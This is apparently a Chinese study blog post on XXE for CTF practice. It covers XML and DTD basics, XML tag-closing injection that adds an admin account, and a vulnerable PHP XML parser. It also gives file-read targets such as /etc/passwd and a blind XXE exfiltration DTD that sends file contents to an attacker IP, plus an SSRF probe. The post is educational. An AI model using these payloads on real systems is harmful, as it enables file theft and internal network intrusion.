xxe漏洞学习
之前在做node.js 的题目的时候发现很多node.js的题目都是和xxe的结合起来,所以这里决定先来看一下xxe的知识点
XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入
既然是XML的漏洞,我们就先来看XML的基础知识点
XML基础
声明文档
1 | <?xml version="1.0" encoding="UTF-8"?> |
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
XML标签必须成对出现,有开始标签就需要有结束标签,这里以
- 开始标签:**
** - 结束标签:****
我们前面说到XML 和 HTML 极度相似,但两者还是存在本质的区别的
- XML 被设计用来传输和存储数据,其焦点是数据的内容
- HTML 被设计用来显示数据,其焦点是数据的外观
HTML 旨在显示信息,而 XML 旨在传输信息
XML的基本格式是一种树结构,它从”根部”开始,然后扩展到”枝叶”
1 | <root> |
XML 必须包含根元素,它是所有其他元素的父元素,上述root 就是根元素
同样的,由于其和HTML语言的高度相似性,XML的元素也可以拥有属性,属性提供有关元素的附加信息,属性值必须加引号
1 | <person age="30" gender="male">.....</person> |
XML的元素和属性的作用相似,都是用于提供元素的信息
但属性存在一定的劣势:
- 属性不能包含多个值(元素可以)
- 属性不能包含树结构(元素可以)
- 属性不容易扩展(为未来的变化)
因此,一般的设计逻辑是,元数据(有关数据的数据)应当存储为属性,而数据本身应当存储为元素
当元素命名发生冲突时,可以利用前缀进行规避
1 | <h:table> |
通过加入前缀设置命名空间,当命名空间被定义在元素的开始标签中时,所有带有相同前缀的子元素都会与同一个命名空间相关联
合法的 XML 文档是”形式良好”的 XML 文档,这也符合文档类型定义(DTD)的规则
1 | <!DOCTYPE note SYSTEM "Note.dtd"> |
DOCTYPE 声明是对外部 DTD 文件的引用
DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构
1 | <!DOCTYPE note |
PCDATA类型
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换
CDATA类型
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
XML的知识点就那么多,感觉挺简单的,那么,我们回到XXE漏洞上
XXE漏洞
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件
也就是说,我们可以利用DTD来进行外部引用
所以这里再重新来看一下DTD
内部声明DTD
1 | <!DOCTYPE 根元素名称 [元素声明]> |
引用外部DTD
1 | <!DOCTYPE 根元素名称 SYSTEM "dtd路径"> |
PHP引用外部实体常见的利用协议
1 | file:///etc/passwd |
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
实体引用是对实体的引用
实体可在内部或外部进行声明
按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
内部实体声明
1 | DTD: |
外部实体声明
1 | DTD: |
XML注入
通过利用闭合标签改写XML文件实现XML注入
XML注入前提条件
(1)用户能够控制数据的输入
(2)程序有拼凑的数据
1 | <manager> |
当root可以被控制时,构造root为
1 | admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin> |
则原有XML被修改为
1 | <manager> |
也就是我们实现了添加一个为hacker的管理员账户,简单来说,只要我们需要知道XML表的结构,去实现标签的闭合,我们构造输入语句,就可以实现注入
XML外部实体注入(XXE)
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
主要函数
simplexml_load_string() 可以用来读取XML
1 | <?php |
1 | <?xml version="1.0" encoding="utf-8"?> |

很明显可以看到我们读取到了system.ini的内容
这里对代码稍微做个解释
file_get_contents获取客户端输入内容new DOMDocument()初始化XML解析器loadXML($xmlfile)加载客户端输入的XML内容simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。- 获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容
XXE常见利用方式
读取任意文件
1 | <?php |
payload
1 | <?xml version="1.0" encoding="utf-8" ?> |

当然,也可以使用php://filter协议进行读取
有回显还是算比较简单的,我们修改源码
1 | <?php |
无回显后,,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据,原理感觉跟反弹shell类似
payload
1 | <?xml version="1.0"?> |
evil.dtd
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload; |
整体逻辑就是
- 先调用
%dtd,请求远程服务器(攻击服务器)上的evil.dtd。 - 再调用
evil.dtd中的%file。%file获取受攻击的服务器上面的敏感文件,然后将%file的返回结果传到%send。 - 然后调用
%send;把读取到的数据发送到远程服务器上
SSRF
1 | <?xml version="1.0" encoding="UTF-8"?> |
127.0.0.1可以替换成任意的内网地址,可以借此实现对内网的探测
对于waf的绕过,这里贴个大佬的帖子CTF XXE,简单看了眼,基本就是对利用各种协议和编码进行绕过关键词的waf